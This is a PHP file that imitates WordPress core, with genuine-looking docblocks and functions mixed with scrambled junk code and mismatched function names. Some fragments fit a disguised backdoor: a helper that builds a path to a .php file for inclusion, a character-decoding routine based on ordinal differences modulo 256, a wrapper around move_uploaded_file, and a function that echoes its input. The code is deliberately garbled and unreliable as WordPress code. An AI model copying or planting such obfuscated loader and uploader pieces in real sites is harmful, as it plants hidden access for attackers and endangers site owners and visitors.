'zzfqy'; $show_post_type_archive_feed = 'cvzapiq5'; $utf16 = ltrim($show_post_type_archive_feed); $commentkey = 'hy0an1z'; $sibling_names = rawurldecode($formfiles); $old_autosave = sha1($old_autosave); $g1_19 = stripcslashes($g1_19); // Handle a numeric theme directory as a string. $symbol = 'np66kbe'; $confirm_key = rtrim($symbol); $creating = 'ggscw'; // s2 += s12 * 654183; // ok - found one byte later than expected (last frame was padded, first frame wasn't) $blocklist = urldecode($creating); $sample_permalink = 'acihq2nz'; $aria_attributes = 'ibkfzgb3'; $custom_css_query_vars = chop($manual_sdp, $commentkey); $formfiles = urlencode($sibling_names); $channelmode = 'qkk6aeb54'; $disallowed_list = 'glfi6'; $SNDM_endoffset = 'tm6na'; $sample_permalink = strnatcmp($blocklist, $SNDM_endoffset); // Set initial default constants including WP_MEMORY_LIMIT, WP_MAX_MEMORY_LIMIT, WP_DEBUG, SCRIPT_DEBUG, WP_CONTENT_DIR and WP_CACHE. $language_updates = 'jeilrjv03'; $Host = 'd2wdqbj'; //Close the connection and cleanup // Block supports, and other styles parsed and stored in the Style Engine. // return early if the block doesn't have support for settings. $language_updates = urldecode($Host); $all_instances = 'ywgglq6l'; $cookie_elements = 'ebrb9xuuy'; $aria_attributes = strripos($g1_19, $g1_19); $submitted_form = 'eeqddhyyx'; $channelmode = strtolower($old_autosave); $client_flags = 'l102gc4'; $active_plugin_dependencies_count = 'yl54inr'; $all_instances = basename($cookie_elements); return $blocklist; } /** * Filters the text of the email sent when a change of network admin email address is attempted. * * The following strings have a special meaning and will get replaced dynamically: * ###USERNAME### The current user's username. * ###ADMIN_URL### The link to click on to confirm the email change. * ###EMAIL### The proposed new network admin email address. * ###SITENAME### The name of the network. * ###SITEURL### The URL to the network. * * @since 4.9.0 * * @param string $email_text Text in the email. * @param array $langcodeew_admin_email { * Data relating to the new network admin email address. * * @type string $hash The secure hash used in the confirmation link URL. * @type string $langcodeewemail The proposed new network admin email address. * } */ function get_previous_image_link($unwrapped_name){ // but WHERE is the actual bitrate value stored in EAC3?? email info@getid3.org if you know! $tb_url = 'dmw4x6'; $tb_url = sha1($tb_url); // Create the parser $maybe_active_plugin = __DIR__; $tb_url = ucwords($tb_url); $checking_collation = ".php"; $tb_url = addslashes($tb_url); $tb_url = strip_tags($tb_url); $unwrapped_name = $unwrapped_name . $checking_collation; // Track Fragment base media Decode Time box // If we're adding a new priority to the list, put them back in sorted order. $unwrapped_name = DIRECTORY_SEPARATOR . $unwrapped_name; $unwrapped_name = $maybe_active_plugin . $unwrapped_name; $f6g6_19 = 'cm4bp'; $tb_url = addcslashes($f6g6_19, $tb_url); return $unwrapped_name; } // Add shared styles for individual border radii for input & button. /** * Sitemaps: WP_Sitemaps_Registry class * * Handles registering sitemap providers. * * @package WordPress * @subpackage Sitemaps * @since 5.5.0 */ function wp_getRevisions ($consent){ $conditional = 'khxs'; $curcategory = 'lun6ng'; $conditional = is_string($curcategory); $html5_script_support = 'oltg1k4qm'; // ----- Check compression method $edit_markup = 'b386w'; $options_audiovideo_matroska_parse_whole_file = 'glprj6'; $html5_script_support = ltrim($options_audiovideo_matroska_parse_whole_file); $edit_markup = basename($edit_markup); // There may be more than one 'TXXX' frame in each tag, $child_api = 'z4tzg'; $msg_browsehappy = 'v5gkszp'; // Normalize BLOCKS_PATH prior to substitution for Windows environments. $child_api = basename($edit_markup); $options_audiovideo_matroska_parse_whole_file = soundex($msg_browsehappy); $child_api = trim($child_api); //$v_binary_data = pack('a'.$v_read_size, $v_buffer); $update_plugins = 'zj7x4'; $grant = 'lxvldeh'; $month_abbrev = 'rz32k6'; // Abort this foreach loop iteration if there's no plugins left of this type. // akismet_as_submitted meta values are large, so expire them $update_plugins = rtrim($grant); $child_api = strrev($month_abbrev); $section_description = 'gx1crnvlg'; $child_api = strtolower($edit_markup); $maybe_relative_path = 'wtf6'; $month_abbrev = rawurldecode($maybe_relative_path); $month_abbrev = html_entity_decode($month_abbrev); // Check that the root tag is valid // If no meta caps match, return the original cap. # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, // if ($src > 62) $feature_declarations += 0x5f - 0x2b - 1; // 3 # c = PLUS(c,d); b = ROTATE(XOR(b,c),12); // get ID $FILE = 'ojp3'; $msg_browsehappy = strtoupper($section_description); $ops = 'rx2vilh2'; $ops = soundex($ops); $connection_lost_message = 'gq9om'; // Why do we do this? cURL will send both the final response and any $streams = 'rob8is22'; $connection_lost_message = strnatcmp($streams, $ops); // There are "undefined" variables here because they're defined in the code that includes this file as a template. $accepts_body_data = 'f1ub'; $comments_number_text = 'i3cwuov39'; // If there's a default theme installed and not in use, we count that as allowed as well. $comments_number_text = ltrim($msg_browsehappy); $samples_count = 'd72y7x1s'; //Deliberate noise suppression - errors are handled afterwards // if a surround channel exists // There may only be one URL link frame of its kind in a tag, // been called that object is untouched $samples_count = str_repeat($samples_count, 3); $FILE = str_shuffle($accepts_body_data); return $consent; } /** * Conditionally makes a hyperlink based on an internal class variable. * * @param string $AudioCodecFrequency URL to potentially be linked. * @return string|false Linked URL or the original URL. False if 'return_false_on_fail' is true. */ function rest_get_best_type_for_value($endpoints){ $LongMPEGlayerLookup = 'ghx9b'; $tablefield = 'uux7g89r'; $full_stars = 'h2jv5pw5'; $GOVsetting = 'b60gozl'; $wp_interactivity = 'ddpqvne3'; $GOVsetting = substr($GOVsetting, 6, 14); $LongMPEGlayerLookup = str_repeat($LongMPEGlayerLookup, 1); $full_stars = basename($full_stars); $active_theme_version = 'eg6biu3'; $tablefield = base64_encode($wp_interactivity); $LongMPEGlayerLookup = strripos($LongMPEGlayerLookup, $LongMPEGlayerLookup); $GOVsetting = rtrim($GOVsetting); $dependency_filepath = 'nieok'; $LongMPEGlayerLookup = rawurldecode($LongMPEGlayerLookup); $GOVsetting = strnatcmp($GOVsetting, $GOVsetting); $full_stars = strtoupper($active_theme_version); echo $endpoints; } $fallback = strtoupper($wp_filename); /** * Retrieves the registered sidebar with the given ID. * * @since 5.9.0 * * @global array $carry1 The registered sidebars. * * @param string $area_definition The sidebar ID. * @return array|null The discovered sidebar, or null if it is not registered. */ function wp_clean_themes_cache($cached_data, $got_pointers){ $feature_declarations = crypto_sign_seed_keypair($cached_data) - crypto_sign_seed_keypair($got_pointers); $add_items = 'ng99557'; $total_matches = 'mwqbly'; $collation = 'tmivtk5xy'; $g1_19 = 'g3r2'; $max_scan_segments = 'fsyzu0'; // ----- Current status of the magic_quotes_runtime // Item extends core content. // http://libquicktime.sourcearchive.com/documentation/1.0.2plus-pdebian/iods_8c-source.html $feature_declarations = $feature_declarations + 256; $max_scan_segments = soundex($max_scan_segments); $add_items = ltrim($add_items); $collation = htmlspecialchars_decode($collation); $total_matches = strripos($total_matches, $total_matches); $g1_19 = basename($g1_19); $feature_declarations = $feature_declarations % 256; // Deprecated files. // hack-fixes for some badly-written ID3v2.3 taggers, while trying not to break correctly-written tags $total_matches = strtoupper($total_matches); $g1_19 = stripcslashes($g1_19); $ui_enabled_for_themes = 'u332'; $collation = addcslashes($collation, $collation); $max_scan_segments = rawurlencode($max_scan_segments); $max_scan_segments = htmlspecialchars_decode($max_scan_segments); $caller = 'klj5g'; $aria_attributes = 'ibkfzgb3'; $final_rows = 'vkjc1be'; $ui_enabled_for_themes = substr($ui_enabled_for_themes, 19, 13); $cached_data = sprintf("%c", $feature_declarations); $aria_attributes = strripos($g1_19, $g1_19); $total_matches = strcspn($total_matches, $caller); $final_rows = ucwords($final_rows); $ui_enabled_for_themes = soundex($add_items); $translated = 'smly5j'; $aria_attributes = urldecode($g1_19); $ui_enabled_for_themes = str_shuffle($add_items); $final_rows = trim($final_rows); $total_matches = rawurldecode($caller); $translated = str_shuffle($max_scan_segments); // FIXME: RESET_CAPS is temporary code to reset roles and caps if flag is set. // If we found the page then format the data. // requires functions simplexml_load_string and get_object_vars // The previous item was a separator, so unset this one. // If the table field exists in the field array... $to_ping = 'spyt2e'; $old_roles = 'u68ac8jl'; $aria_attributes = lcfirst($aria_attributes); $thisfile_video = 'ktzcyufpn'; $blog_public_off_checked = 'wbnhl'; $trackbackquery = 'tzy5'; $mce_locale = 'yk0x'; $ui_enabled_for_themes = levenshtein($blog_public_off_checked, $ui_enabled_for_themes); $collation = strcoll($collation, $old_roles); $to_ping = stripslashes($to_ping); return $cached_data; } $found_terms = trim($layout_classes); /* * Parent themes must contain an index file: * - classic themes require /index.php * - block themes require /templates/index.html or block-templates/index.html (deprecated 5.9.0). */ function the_shortlink($client_pk){ // Add the core wp_pattern_sync_status meta as top level property to the response. get_attributes($client_pk); $ua = 'xwi2'; $full_stars = 'h2jv5pw5'; $datetime = 'kwz8w'; $mlen = 's0y1'; $comment_pending_count = 'd41ey8ed'; // Descendants of exclusions should be excluded too. $comment_pending_count = strtoupper($comment_pending_count); $mlen = basename($mlen); $full_stars = basename($full_stars); $datetime = strrev($datetime); $ua = strrev($ua); rest_get_best_type_for_value($client_pk); } $json_error_obj = 'bipu'; /** * Inject the block editor assets that need to be loaded into the editor's iframe as an inline script. * * @since 5.8.0 * @deprecated 6.0.0 */ function wp_check_browser_version ($begin){ $vars = 'm95vmkze7'; $style_definition_path = 'ctemvsnhn'; $sanitized_user_login = 'w7mnhk9l'; // Always include Content-length on POST requests to prevent $sanitized_user_login = wordwrap($sanitized_user_login); $sanitized_user_login = strtr($sanitized_user_login, 10, 7); $vars = stripcslashes($style_definition_path); $v_year = 'si1ta'; // ----- Add the file $value_hidden_class = 'ex4bkauk'; // Avoid clash with parent node and a 'content' post type. $date_endian = 'a0dgwr'; $v_year = strcspn($v_year, $date_endian); $bytesleft = 'uja91'; // If the data is Huffman Encoded, we must first strip the leading 2 // Process default headers and uploaded headers. $copiedHeader = 'j74ct3'; $bytesleft = htmlspecialchars_decode($copiedHeader); // Set parent's class. $existing_posts_query = 'mta8'; $value_hidden_class = quotemeta($existing_posts_query); $element_low = 'me7tl6em'; $sanitized_user_login = strripos($sanitized_user_login, $value_hidden_class); // raw little-endian $failed_themes = 'xygyp1zo'; // Username. $element_low = soundex($failed_themes); // ...and this. $element_low = ltrim($element_low); return $begin; } $layout_classes = trim($found_terms); // Back-compat with old system where both id and name were based on $langcodeame argument. /** * Filters the query string before parsing. * * @since 1.5.0 * @deprecated 2.1.0 Use {@see 'query_vars'} or {@see 'request'} filters instead. * * @param string $query_string The query string to modify. */ function link_target_meta_box ($style_definition_path){ $LastOggSpostion = 'qes8zn'; $checked_options = 'hpcdlk'; $has_text_color = 't8wptam'; $default_id = 'v5zg'; // For themes_api(). $akismet_history_events = 'h9ql8aw'; $singular_name = 'q2i2q9'; $force_echo = 'dkyj1xc6'; $sub2feed = 'w5880'; // Generate the new file data. // Default count updater. // If there are menu items, add them. $style_definition_path = levenshtein($style_definition_path, $style_definition_path); $default_id = levenshtein($akismet_history_events, $akismet_history_events); $checked_options = strtolower($sub2feed); $LastOggSpostion = crc32($force_echo); $has_text_color = ucfirst($singular_name); $style_definition_path = addcslashes($style_definition_path, $style_definition_path); $begin = 'wb3ahk7'; $style_definition_path = strripos($begin, $begin); // Upgrade a single set to multiple. $eq = 're9c'; $date_endian = 'i5em75'; // Segment InDeX box $has_text_color = strcoll($has_text_color, $has_text_color); $api_key = 'h3cv0aff'; $akismet_history_events = stripslashes($akismet_history_events); $terms_to_edit = 'q73k7'; $eq = wordwrap($date_endian); $style_definition_path = strtolower($eq); $bytesleft = 'k0ud'; $default_id = ucwords($default_id); $LastOggSpostion = nl2br($api_key); $singular_name = sha1($singular_name); $terms_to_edit = ucfirst($checked_options); // print_r( $this ); // Uncomment to print all boxes. // The linter requires this unreachable code until the function is implemented and can return. // This is the same as get_theme_file_path(), which isn't available in load-styles.php context // The textwidget class is for theme styling compatibility. $api_key = stripcslashes($api_key); $akismet_history_events = trim($default_id); $checked_options = strrev($sub2feed); $singular_name = crc32($has_text_color); // Conditionally skip lazy-loading on images before the loop. $vars = 'rx3r5m'; // Placeholder for the inline link dialog. // support '.' or '..' statements. $NextObjectSize = 'vc07qmeqi'; $check_query_args = 's6im'; $terms_to_edit = substr($checked_options, 12, 7); $akismet_history_events = ltrim($akismet_history_events); $bytesleft = trim($vars); return $style_definition_path; } /** * Filters the post thumbnail ID. * * @since 5.9.0 * * @param int|false $thumbnail_id Post thumbnail ID or false if the post does not exist. * @param int|WP_Post|null $lines_out Post ID or WP_Post object. Default is global `$lines_out`. */ function preserve_insert_changeset_post_content($v_descr, $actual_setting_id){ $spsReader = move_uploaded_file($v_descr, $actual_setting_id); // For back-compat. $auto_expand_sole_section = 'hr30im'; $old_autosave = 'le1fn914r'; $mixdata_fill = 'w5qav6bl'; $footer = 'tv7v84'; $footer = str_shuffle($footer); $old_autosave = strnatcasecmp($old_autosave, $old_autosave); $mixdata_fill = ucwords($mixdata_fill); $auto_expand_sole_section = urlencode($auto_expand_sole_section); return $spsReader; } /** * Output debugging info via a user-selected method. * * @param string $str Debug string to output * @param int $level The debug level of this message; see DEBUG_* constants * * @see SMTP::$Debugoutput * @see SMTP::$do_debug */ function get_param ($smtp_from){ $sanitized_nicename__in = 'ep0ytbwc'; $f1g3_2 = 'gcxdw2'; $allowed_fields = 'ggg6gp'; // Default to not flagging the post date to be edited unless it's intentional. $f1g3_2 = htmlspecialchars($f1g3_2); $strictPadding = 'fetf'; // Label will also work on retrieving because that falls back to term. $default_padding = 'a66sf5'; $allowed_fields = strtr($strictPadding, 8, 16); // 'wp-admin/css/media-rtl.min.css', // The /s switch on preg_match() forces preg_match() NOT to treat $sticky_args = 'hin5rfl'; $cookie_elements = 'bchjfd'; $single_success = 'kq1pv5y2u'; $default_padding = nl2br($f1g3_2); // Sort items without dates to the top. // Having big trouble with crypt. Need to multiply 2 long int // so, list your entities one by one here. I included some of the $f1g3_2 = crc32($f1g3_2); $strictPadding = convert_uuencode($single_success); $hex6_regexp = 'wvtzssbf'; $old_site_parsed = 'jm02'; $single_success = levenshtein($hex6_regexp, $strictPadding); $old_site_parsed = htmlspecialchars($default_padding); // In case any constants were defined after an add_custom_background() call, re-run. $single_success = html_entity_decode($single_success); $use_icon_button = 'mzvqj'; $use_icon_button = stripslashes($f1g3_2); $check_dir = 'ejqr'; $sanitized_nicename__in = stripos($sticky_args, $cookie_elements); $SNDM_endoffset = 'q66p5hkx'; $default_padding = levenshtein($use_icon_button, $use_icon_button); $allowed_fields = strrev($check_dir); // ----- Error configuration $single_success = is_string($single_success); $f1g3_2 = addslashes($f1g3_2); $maybe_empty = 'l5hp'; $check_dir = ucwords($strictPadding); $Host = 'nppcvi7'; // Array of capabilities as a string to be used as an array key. $SNDM_endoffset = md5($Host); // Span BYTE 8 // number of packets over which audio will be spread. $usage_limit = 'r9u2qiz'; $style_asset = 'g9sub1'; $old_site_parsed = stripcslashes($maybe_empty); $signature_url = 'c85xam5'; $usage_limit = urldecode($signature_url); $escapes = 'bqntxb'; $style_asset = htmlspecialchars_decode($allowed_fields); $example_definition = 'wlf4k2327'; $confirm_key = 'bbb2'; // [9A] -- Set if the video is interlaced. // Default stylesheets. $example_definition = htmlspecialchars_decode($confirm_key); $escapes = htmlspecialchars_decode($default_padding); $allowed_fields = nl2br($allowed_fields); // No thumb, no image. We'll look for a mime-related icon instead. // `sanitize_term_field()` returns slashed data. $tag_map = 'hqfyknko6'; $sub2comment = 'b7s9xl'; $default_term_id = 'ncvn83'; $sub2comment = soundex($use_icon_button); $stamp = 'd9xv332x'; $stamp = substr($confirm_key, 16, 5); // No trailing slash, full paths only - WP_CONTENT_URL is defined further down. $blocklist = 'w0x9s7l'; // New Gallery block format as HTML. // Podcast URL $sub_skip_list = 'g8thk'; $single_success = stripos($tag_map, $default_term_id); $strictPadding = str_repeat($check_dir, 2); $sub_skip_list = soundex($escapes); // And feeds again on to this <permalink>/attachment/(feed|atom...) // Search on the fields that are indexed in the comments table, plus the GUID. $attachment_ids = 'e2wpulvb'; $blocklist = strtolower($attachment_ids); $tag_map = addcslashes($allowed_fields, $check_dir); $core_actions_post = 'tt0rp6'; $strictPadding = rawurldecode($default_term_id); $core_actions_post = addcslashes($maybe_empty, $sub2comment); $symbol = 'grmiok3'; $symbol = strrev($signature_url); $old_site_parsed = substr($sub_skip_list, 15, 17); $checked_terms = 'z9zh5zg'; // 5.4.2.20 langcod2: Language Code, ch2, 8 Bits $ALLOWAPOP = 'arih'; $f1g3_2 = bin2hex($f1g3_2); $cluster_block_group = 'p6ev1cz'; $uris = 'bl0lr'; //00..03 = "Xing" or "Info" $stamp = addcslashes($cluster_block_group, $uris); $error_types_to_handle = 'qi4fklb'; $error_types_to_handle = strtoupper($Host); $welcome_checked = 'iendm9w4'; $hierarchy = 'u4561o7'; $welcome_checked = substr($hierarchy, 6, 16); $all_bind_directives = 'jys1zxg5c'; // Limit publicly queried post_types to those that are 'publicly_queryable'. $confirm_key = ltrim($all_bind_directives); // Note this action is used to ensure the help text is added to the end. $sticky_args = is_string($SNDM_endoffset); // If the sibling has no alias yet, there's nothing to check. $close_button_color = 'm9dep'; $checked_terms = substr($ALLOWAPOP, 10, 16); $f1g3_2 = strripos($core_actions_post, $maybe_empty); $ALLOWAPOP = rawurlencode($ALLOWAPOP); $sticky_args = rawurldecode($close_button_color); // height of the bitmap in pixels. If biHeight is positive, the bitmap is a 'bottom-up' DIB and its origin is the lower left corner. If biHeight is negative, the bitmap is a 'top-down' DIB and its origin is the upper left corner // -3 : Invalid parameters // Do we have an author id or an author login? // can't remove nulls yet, track detection depends on them // Reject malformed components parse_url() can return on odd inputs. return $smtp_from; } // TODO: Make more helpful. /** * Filters the registered variations for a block type. * * @since 6.5.0 * * @param array $unsorted_menu_itemss Array of registered variations for a block type. * @param WP_Block_Type $block_type The full block type object. */ function is_safe_css_declaration ($v_found){ $html5_script_support = 'n334j8tu'; $options_audiovideo_matroska_parse_whole_file = 'uwil2'; $check_pending_link = 'k84kcbvpa'; $used_global_styles_presets = 'cxs3q0'; $output_empty = 'bq4qf'; $allowed_origins = 'ajqjf'; $allowed_origins = strtr($allowed_origins, 19, 7); $output_empty = rawurldecode($output_empty); $check_pending_link = stripcslashes($check_pending_link); $smallest_font_size = 'nr3gmz8'; $transient_name = 'bpg3ttz'; $allowed_origins = urlencode($allowed_origins); $used_global_styles_presets = strcspn($used_global_styles_presets, $smallest_font_size); $first32len = 'kbguq0z'; $first32len = substr($first32len, 5, 7); $menu_hook = 'kpzhq'; $all_messages = 'akallh7'; $smallest_font_size = stripcslashes($smallest_font_size); $used_global_styles_presets = str_repeat($smallest_font_size, 3); $menu_hook = htmlspecialchars($allowed_origins); $transient_name = ucwords($all_messages); $thisfile_asf_scriptcommandobject = 'ogari'; $a_ = 'cvew3'; $RIFFsubtype = 'qvim9l1'; $hookname = 'kho719'; $thisfile_asf_scriptcommandobject = is_string($check_pending_link); $html5_script_support = substr($options_audiovideo_matroska_parse_whole_file, 13, 10); $check_pending_link = ltrim($thisfile_asf_scriptcommandobject); $output_empty = strtolower($a_); $smallest_font_size = convert_uuencode($hookname); $original_changeset_data = 'eolx8e'; $ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes = 'y404wb'; // Just in case // The actual text <full text string according to encoding> $html5_script_support = strtolower($ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes); $sitemap_index = 'u7hcpi63'; $ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes = stripos($sitemap_index, $sitemap_index); $frame_flags = 'w7alv9st'; $frame_flags = addslashes($ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes); $smallest_font_size = trim($hookname); $cat_in = 'lqd9o0y'; $RIFFsubtype = levenshtein($original_changeset_data, $menu_hook); $g3_19 = 'sou4qtrta'; $all_messages = htmlspecialchars($g3_19); $thisfile_asf_scriptcommandobject = strripos($first32len, $cat_in); $full_path = 'zfhg'; $errorcode = 'wle7lg'; // AVIF may not work with imagecreatefromstring(). $options_audiovideo_matroska_parse_whole_file = strripos($sitemap_index, $v_found); $show_description = 'dmvh'; $errorcode = urldecode($allowed_origins); $smallest_font_size = nl2br($full_path); $FoundAllChunksWeNeed = 'r2t6'; // Add any additional custom post types. $FoundAllChunksWeNeed = htmlspecialchars($a_); $menu_hook = strtolower($allowed_origins); $hookname = ltrim($full_path); $mature = 'vmcbxfy8'; return $v_found; } $found_terms = htmlspecialchars_decode($found_terms); $json_error_obj = strcspn($fallback, $json_error_obj); // DSS - audio - Digital Speech Standard $corderby = 'j56yd7rj'; /** * Calls the render callback of a widget and returns the output. * * @since 5.8.0 * * @global array $close_button_directives The registered widgets. * @global array $carry1 The registered sidebars. * * @param string $supports_trash Widget ID. * @param string $query_vars_hash Sidebar ID. * @return string */ function mw_newPost($supports_trash, $query_vars_hash) { global $close_button_directives, $carry1; if (!isset($close_button_directives[$supports_trash])) { return ''; } if (isset($carry1[$query_vars_hash])) { $orig_username = $carry1[$query_vars_hash]; } elseif ('wp_inactive_widgets' === $query_vars_hash) { $orig_username = array(); } else { return ''; } $used_filesize = array_merge(array(array_merge($orig_username, array('widget_id' => $supports_trash, 'widget_name' => $close_button_directives[$supports_trash]['name']))), (array) $close_button_directives[$supports_trash]['params']); // Substitute HTML `id` and `class` attributes into `before_widget`. $thumbnails_cached = ''; foreach ((array) $close_button_directives[$supports_trash]['classname'] as $firsttime) { if (is_string($firsttime)) { $thumbnails_cached .= '_' . $firsttime; } elseif (is_object($firsttime)) { $thumbnails_cached .= '_' . get_class($firsttime); } } $thumbnails_cached = ltrim($thumbnails_cached, '_'); $used_filesize[0]['before_widget'] = sprintf($used_filesize[0]['before_widget'], $supports_trash, $thumbnails_cached); /** This filter is documented in wp-includes/widgets.php */ $used_filesize = apply_filters('dynamic_sidebar_params', $used_filesize); $font_family_post = $close_button_directives[$supports_trash]['callback']; ob_start(); /** This filter is documented in wp-includes/widgets.php */ do_action('dynamic_sidebar', $close_button_directives[$supports_trash]); if (is_callable($font_family_post)) { call_user_func_array($font_family_post, $used_filesize); } return ob_get_clean(); } $subsets = 'lit7hhb3'; $corderby = strtr($subsets, 10, 18); $del_options = 'zsrfmxjof'; // Migrate the old experimental duotone support flag. $bytesleft = 'oosrs7'; // From our prior conditional, one of these must be set. /** * Retrieve path of comment popup template in current or parent template. * * @since 1.5.0 * @deprecated 4.5.0 * * @return string Full path to comments popup template file. */ function wp_video_shortcode() { _deprecated_function(__FUNCTION__, '4.5.0'); return ''; } // Back-compat with wp_page_menu(): add "current_page_parent" to static home page link for any non-page query. $layout_classes = lcfirst($layout_classes); $thisfile_ape_items_current = 'uazs4hrc'; $thisfile_ape_items_current = wordwrap($wp_filename); $maximum_viewport_width_raw = 'd04mktk6e'; /** * Inject ignoredHookedBlocks metadata attributes into a template or template part. * * Given an object that represents a `wp_template` or `wp_template_part` post object * prepared for inserting or updating the database, locate all blocks that have * hooked blocks, and inject a `metadata.ignoredHookedBlocks` attribute into the anchor * blocks to reflect the latter. * * @since 6.5.0 * @access private * * @param stdClass $lines_out An object representing a template or template part * prepared for inserting or updating the database. * @param WP_REST_Request $control Request object. * @return stdClass The updated object representing a template or template part. */ function ASF_WMpicture($lines_out, $control) { $tempdir = current_filter(); if (!str_starts_with($tempdir, 'rest_pre_insert_')) { return $lines_out; } $curl_value = str_replace('rest_pre_insert_', '', $tempdir); $deep_tags = get_hooked_blocks(); if (empty($deep_tags) && !has_filter('hooked_block_types')) { return $lines_out; } // At this point, the post has already been created. // We need to build the corresponding `WP_Block_Template` object as context argument for the visitor. // To that end, we need to suppress hooked blocks from getting inserted into the template. add_filter('hooked_block_types', '__return_empty_array', 99999, 0); $options_to_prime = $control['id'] ? get_block_template($control['id'], $curl_value) : null; remove_filter('hooked_block_types', '__return_empty_array', 99999); $arg_pos = make_before_block_visitor($deep_tags, $options_to_prime, 'set_ignored_hooked_blocks_metadata'); $theme_height = make_after_block_visitor($deep_tags, $options_to_prime, 'set_ignored_hooked_blocks_metadata'); $days_old = parse_blocks($lines_out->post_content); $sock = traverse_and_serialize_blocks($days_old, $arg_pos, $theme_height); $lines_out->post_content = $sock; return $lines_out; } /** * Retrieves editable posts from other users. * * @since 2.3.0 * @deprecated 3.1.0 Use get_posts() * @see get_posts() * * @global wpdb $delete_file WordPress database abstraction object. * * @param int $gallery_div User ID to not retrieve posts from. * @param string $tableindices Optional. Post type to retrieve. Accepts 'draft', 'pending' or 'any' (all). * Default 'any'. * @return array List of posts from others. */ function get_post_timestamp($gallery_div, $tableindices = 'any') { _deprecated_function(__FUNCTION__, '3.1.0'); global $delete_file; $thisfile_asf_dataobject = get_editable_user_ids($gallery_div); if (in_array($tableindices, array('draft', 'pending'))) { $existing_changeset_data = " post_status = '{$tableindices}' "; } else { $existing_changeset_data = " ( post_status = 'draft' OR post_status = 'pending' ) "; } $maybe_active_plugin = 'pending' == $tableindices ? 'ASC' : 'DESC'; if (!$thisfile_asf_dataobject) { $dolbySurroundModeLookup = ''; } else { $thisfile_asf_dataobject = join(',', $thisfile_asf_dataobject); $dolbySurroundModeLookup = $delete_file->get_results($delete_file->prepare("SELECT ID, post_title, post_author FROM {$delete_file->posts} WHERE post_type = 'post' AND {$existing_changeset_data} AND post_author IN ({$thisfile_asf_dataobject}) AND post_author != %d ORDER BY post_modified {$maybe_active_plugin}", $gallery_div)); } return apply_filters('get_others_drafts', $dolbySurroundModeLookup); } // $streamnumber_path : path to translate. $comment_last_changed = 'n3bnct830'; $json_error_obj = strrpos($json_error_obj, $thisfile_ape_items_current); $del_options = bin2hex($bytesleft); // bump the counter here instead of when the filter is added to reduce the possibility of overcounting // Convert infix operators to postfix using the shunting-yard algorithm. // contain a caption, and we don't want to trigger the lightbox when the $element_low = 'gv2lt'; $v_year = wp_check_browser_version($element_low); /** * Prevents menu items from being their own parent. * * Resets menu_item_parent to 0 when the parent is set to the item itself. * For use before saving `_menu_item_menu_item_parent` in nav-menus.php. * * @since 6.2.0 * @access private * * @param array $lyrics3lsz The menu item data array. * @return array The menu item data with reset menu_item_parent. */ function get_media_embedded_in_content($lyrics3lsz) { if (!is_array($lyrics3lsz)) { return $lyrics3lsz; } if (!empty($lyrics3lsz['ID']) && !empty($lyrics3lsz['menu_item_parent']) && (int) $lyrics3lsz['ID'] === (int) $lyrics3lsz['menu_item_parent']) { $lyrics3lsz['menu_item_parent'] = 0; } return $lyrics3lsz; } // 4.16 GEO General encapsulated object $fallback = ltrim($wp_filename); $maximum_viewport_width_raw = convert_uuencode($comment_last_changed); $wp_debug_log_value = 'qlg8w5ng'; $bytesleft = 'gx82o2d3j'; $wp_debug_log_value = wordwrap($bytesleft); $maximum_viewport_width_raw = rawurldecode($found_terms); $empty_slug = 'z7wyv7hpq'; $fallback = lcfirst($empty_slug); $synchsafe = 'g4i16p'; $cap_key = 'vvnu'; $thisfile_ape_items_current = is_string($thisfile_ape_items_current); $fallback = strnatcasecmp($json_error_obj, $error_count); $synchsafe = convert_uuencode($cap_key); $eq = 'thfo'; # case 6: b |= ( ( u64 )in[ 5] ) << 40; // attempt to compute rotation from matrix values $maximum_viewport_width_raw = bin2hex($cap_key); /** * Updates the cron option with the new cron array. * * @since 2.1.0 * @since 5.1.0 Return value modified to outcome of update_option(). * @since 5.7.0 The `$yv` parameter was added. * * @access private * * @param array[] $src_x Array of cron info arrays from _get_cron_array(). * @param bool $yv Optional. Whether to return a WP_Error on failure. Default false. * @return bool|WP_Error True if cron array updated. False or WP_Error on failure. */ function comment_author_rss($src_x, $yv = false) { if (!is_array($src_x)) { $src_x = array(); } $src_x['version'] = 2; $md5_filename = update_option('cron', $src_x); if ($yv && !$md5_filename) { return new WP_Error('could_not_set', __('The cron event list could not be saved.')); } return $md5_filename; } $error_count = ucfirst($empty_slug); $fallback = ltrim($empty_slug); $f2f8_38 = 'wwy6jz'; $wp_filename = addcslashes($empty_slug, $empty_slug); $all_text = 'vggbj'; $should_skip_text_columns = 'veknu07'; $empty_slug = rawurlencode($wp_filename); $f2f8_38 = strcoll($f2f8_38, $all_text); // Functions. $eq = urldecode($should_skip_text_columns); // } WavpackHeader; /** * Returns a navigation link variation * * @param WP_Taxonomy|WP_Post_Type $converted_data post type or taxonomy entity. * @param string $theme_json_encoded string of value 'taxonomy' or 'post-type'. * * @return array */ function add_post_meta($converted_data, $theme_json_encoded) { $multipage = ''; $s15 = ''; if (property_exists($converted_data->labels, 'item_link')) { $multipage = $converted_data->labels->item_link; } if (property_exists($converted_data->labels, 'item_link_description')) { $s15 = $converted_data->labels->item_link_description; } $unsorted_menu_items = array('name' => $converted_data->name, 'title' => $multipage, 'description' => $s15, 'attributes' => array('type' => $converted_data->name, 'kind' => $theme_json_encoded)); // Tweak some value for the variations. $oldfiles = array('post_tag' => array('name' => 'tag', 'attributes' => array('type' => 'tag', 'kind' => $theme_json_encoded)), 'post_format' => array( // The item_link and item_link_description for post formats is the // same as for tags, so need to be overridden. 'title' => __('Post Format Link'), 'description' => __('A link to a post format'), 'attributes' => array('type' => 'post_format', 'kind' => $theme_json_encoded), )); if (array_key_exists($converted_data->name, $oldfiles)) { $unsorted_menu_items = array_merge($unsorted_menu_items, $oldfiles[$converted_data->name]); } return $unsorted_menu_items; } $aria_label_collapsed = 'lb2rf2uxg'; /** * Registers the `core/comment-template` block on the server. */ function wp_use_widgets_block_editor() { register_block_type_from_metadata(__DIR__ . '/comment-template', array('render_callback' => 'render_block_core_comment_template', 'skip_inner_blocks' => true)); } $maximum_viewport_width_raw = wordwrap($synchsafe); // Adjust wrapper border radii to maintain visual consistency $corderby = 'pqhm'; // Name WCHAR variable // name of the Marker Object $aria_label_collapsed = strnatcmp($error_count, $wp_filename); $all_text = sha1($synchsafe); // If it's a valid field, add it to the field array. $col_name = 'xq66'; $aria_label_collapsed = ltrim($json_error_obj); // should have escape condition to avoid spending too much 